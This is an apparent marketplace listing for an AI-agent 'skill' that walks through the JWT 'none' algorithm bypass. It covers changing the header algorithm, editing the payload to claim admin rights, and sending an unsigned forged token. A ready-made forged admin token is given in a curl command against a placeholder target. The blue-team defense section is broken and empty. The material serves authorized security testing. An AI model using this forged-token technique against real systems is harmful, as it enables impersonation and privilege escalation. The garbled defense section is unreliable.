# Jwt Null Signature

> >

- **Type:** Skill
- **Install:** `agentstack add skill-ak-cybe-awesome-offensive-security-skills-jwt-null-signature`
- **Verified:** Yes — security-reviewed for prompt injection and unsafe behavior
- **Seller:** [Ak-cybe](https://agentstack.voostack.com/s/ak-cybe)
- **Installs:** 0
- **Category:** [AI & ML](https://agentstack.voostack.com/c/ai-and-ml)
- **Latest version:** 0.1.0
- **License:** Apache-2.0
- **Upstream author:** [Ak-cybe](https://github.com/Ak-cybe)
- **Source:** https://github.com/Ak-cybe/awesome-offensive-security-skills/tree/main/skills/bug-hunting/apis/jwt-null-signature
- **Website:** https://ak-cybe.github.io/cybersecurity-agent-skill

## Install

```sh
agentstack add skill-ak-cybe-awesome-offensive-security-skills-jwt-null-signature
```

Requires the [AgentStack CLI](https://agentstack.voostack.com/docs/cli). Works with Claude Code, Cursor, and any MCP-compatible agent.

## About

# JWT 'None' Algorithm Bypass

## When to Use
- When assessing web applications or microservices that utilize JWTs for authentication and authorization.
- Specifically during the initial phases of analyzing a JWT implementation to check for fundamental configuration flaws in token verification.

## Prerequisites
- Authorized scope and target URLs from bug bounty program
- Burp Suite Professional (or Community) configured with browser proxy
- Familiarity with OWASP Top 10 and common web vulnerability classes
- SecLists wordlists for fuzzing and enumeration

## Workflow

### Phase 1: Capture and Decode the Token

Intercept a valid request containing your JWT (usually in the `Authorization: Bearer ` header or a cookie). A JWT consists of three base64-url encoded parts separated by periods: `Header.Payload.Signature`.

```bash
# Concept: Decode the Header and Payload Token: eyJhbGciOiJIUzI1NiIsInR5cCI...
echo "eyJhbGciOiJIUzI1NiIsInR5cCI..." | base64 -d
# Header Output: {"alg":"HS256","typ":"JWT"}
```

### Phase 2: Modify Header to 'None' Algorithm

Change the `alg` value in the header. Servers might accept variations of the string "none".

```json
// {"alg": "none", "typ": "JWT"}
// Other variations to try: "None", "NONE", "nOnE"
```
Re-encode this modified header to Base64-URL format (ensure no padding `=`).

### Phase 3: Modify Payload (Elevation of Privilege)

Modify the payload to elevate privileges or impersonate another user.

```json
// {"sub": "admin", "iat": 1516239022, "admin": true}
```
Re-encode the modified payload to Base64-URL format.

### Phase 4: Construct and Send the Forged Token

Combine the new header and payload, appending a trailing dot, but **remove the signature completely**.

```text
# [Base64_Header_None].[Base64_Payload_Admin].
```

Send the request with the new token via Burp Suite or curl.

```bash
# curl -H "Authorization: Bearer eyJhbGciOiJub25lIiwidHlwIjoiSldUIn0.eyJzdWIiOiJhZG1pbiIsImlhdCI6MTUxNjIzOTAyMiwiYWRtaW4iOnRydWV9." http://target.local/api/admin
```

#### Decision Point 🔀
```mermaid
flowchart TD
    A[Capture JWT ] --> B[Decode Header & Payload ]
    B --> C[Change alg to 'none' ]
    C --> D[Modify Payload ]
    D --> E[Re-encode (No Signature) ]
    E --> F{Bypass Successful? ]}
    F -->|Yes| G[Privilege Escalated ]
    F -->|No| H[Try other JWT attacks ]
```

## 🔵 Blue Team Detection & Defense
- **Enforce Algorithm Verification**: **Library Configuration**: **Reject 'None' Explicitly**: Key Concepts
| Concept | Description |
|---------|-------------|
## Output Format
```
Jwt Null Signature — Assessment Report
============================================================
Target: [Target identifier]
Assessor: [Operator name]
Date: [Assessment date]
Scope: [Authorized scope]
MITRE ATT&CK: [Relevant technique IDs]

Findings Summary:
  [Finding 1]: [Severity] — [Brief description]
  [Finding 2]: [Severity] — [Brief description]

Detailed Results:
  Phase 1: [Phase name]
    - Result: [Outcome]
    - Evidence: [Screenshot/log reference]
    - Impact: [Business impact assessment]

  Phase 2: [Phase name]
    - Result: [Outcome]
    - Evidence: [Screenshot/log reference]
    - Impact: [Business impact assessment]

Risk Rating: [Critical/High/Medium/Low/Informational]
Recommendations:
  1. [Immediate remediation step]
  2. [Long-term hardening measure]
  3. [Monitoring/detection improvement]
```

## 📚 Shared Resources
> For cross-cutting methodology applicable to all vulnerability classes, see:
> - [`_shared/references/elite-chaining-strategy.md`](../_shared/references/elite-chaining-strategy.md) — Exploit chaining methodology and high-payout chain patterns
> - [`_shared/references/elite-report-writing.md`](../_shared/references/elite-report-writing.md) — HackerOne-optimized report writing, CWE quick reference
> - [`_shared/references/real-world-bounties.md`](../_shared/references/real-world-bounties.md) — Verified disclosed bounties by vulnerability class

## References
- PortSwigger: [JWT Algorithms](https://portswigger.net/web-security/jwt)
- RFC 7519: [JSON Web Token (JWT)](https://datatracker.ietf.org/doc/html/rfc7519)

## Source & license

This open-source skill is cataloged on AgentStack and links to its original source — we do not rehost the code.

- **Author:** [Ak-cybe](https://github.com/Ak-cybe)
- **Source:** [Ak-cybe/awesome-offensive-security-skills](https://github.com/Ak-cybe/awesome-offensive-security-skills)
- **License:** Apache-2.0
- **Homepage:** https://ak-cybe.github.io/cybersecurity-agent-skill

Install and usage instructions live in the source repository linked above.

## Pricing

- **Free** — Free

## Security capabilities

Automated source analysis of v0.1.0 — what this tool can access:

- **Network access:** yes
- **Filesystem access:** no
- **Shell / process execution:** no
- **Environment & secrets:** no
- **Dynamic code execution:** no

*"Yes" means the capability is present in the source — more access means more to trust, not that it is unsafe.*


## Versions

- **0.1.0** — security scan: passed — Imported from the upstream source.

## Links

- Listing page: https://agentstack.voostack.com/l/skill-ak-cybe-awesome-offensive-security-skills-jwt-null-signature
- Seller: https://agentstack.voostack.com/s/ak-cybe
- Browse the marketplace: https://agentstack.voostack.com/browse

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